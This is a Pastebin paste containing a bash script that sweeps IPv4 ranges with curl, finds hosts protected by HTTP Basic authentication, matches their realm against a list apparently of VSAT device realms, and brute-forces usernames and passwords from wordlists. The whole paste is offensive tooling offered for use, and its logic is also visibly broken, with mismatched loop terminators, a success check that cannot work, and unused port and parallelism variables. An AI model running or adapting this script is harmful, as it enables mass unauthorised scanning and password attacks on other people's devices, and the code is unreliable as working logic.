Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- old="$IFS"
- IFS='
- '
- set -f
- for ((x = $1; x < 255; x++));
- do
- for ((y = $2; y < 255; y++));
- do
- for ((z = $3; z < 255; z++));
- do
- for ((f = $4; f < 255; f++));
- do
- class=$x.$y.$z.$f
- parallel=40
- echo "Parallels set to: $parallel"
- status() { curl -s -S -w '%{http_code}' -o /dev/null "$class"; }
- if [ "$(status)" = "401" ]; then
- echo "[~] Ol good Bruteforce **** [X] Stage 1. Success. Target $class, HTTP Protected"
- fi
- echo "Realm on file: $h"
- match() { curl -si "$class" | tr -d '\r' | sed -En 's/^WWW-Authenticate: (.*)/\1/p'; }
- echo "$(match)"
- if grep -Fx "$(match)" vsatrealm.lst; then echo "The realm is in the list"; fi
- echo "[~] Ol' good Bruteforce **** [X] Stage 2. Matching Basic Realm patterns found."
- fi
- done;
- for r in $(cat portlist.lst);
- do
- for a in $(cat username.lst);
- do
- for e in $(cat wordlist.lst);
- do
- brut() { curl -s -S --user "$a":"$e" http://"$class" | tr -d '\r' | sed -En 's/^Error: (.*)/\1/p'; }
- if [ "$(brut)" = "401" ]; then
- echo "[~] Ol' good Bruteforce **** [X] Stage 3. Cracking with username: $a password: $e on port: $r are wrong credentials"
- elif [ "$(brut)" = "200" ];then
- echo "[~] Ol' good Bruteforce **** [X] Stage 3. Success!! with username: $a password: $e on port: $r"
- else echo "[~] Ol' good Bruteforce **** [X] Stage 3. Didn't get to bruteforce function."
- fi
- done;
- wait;
- done;
- done;
- done;
- done;
- done;
- IFS=$OLDIFS
- set +f
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement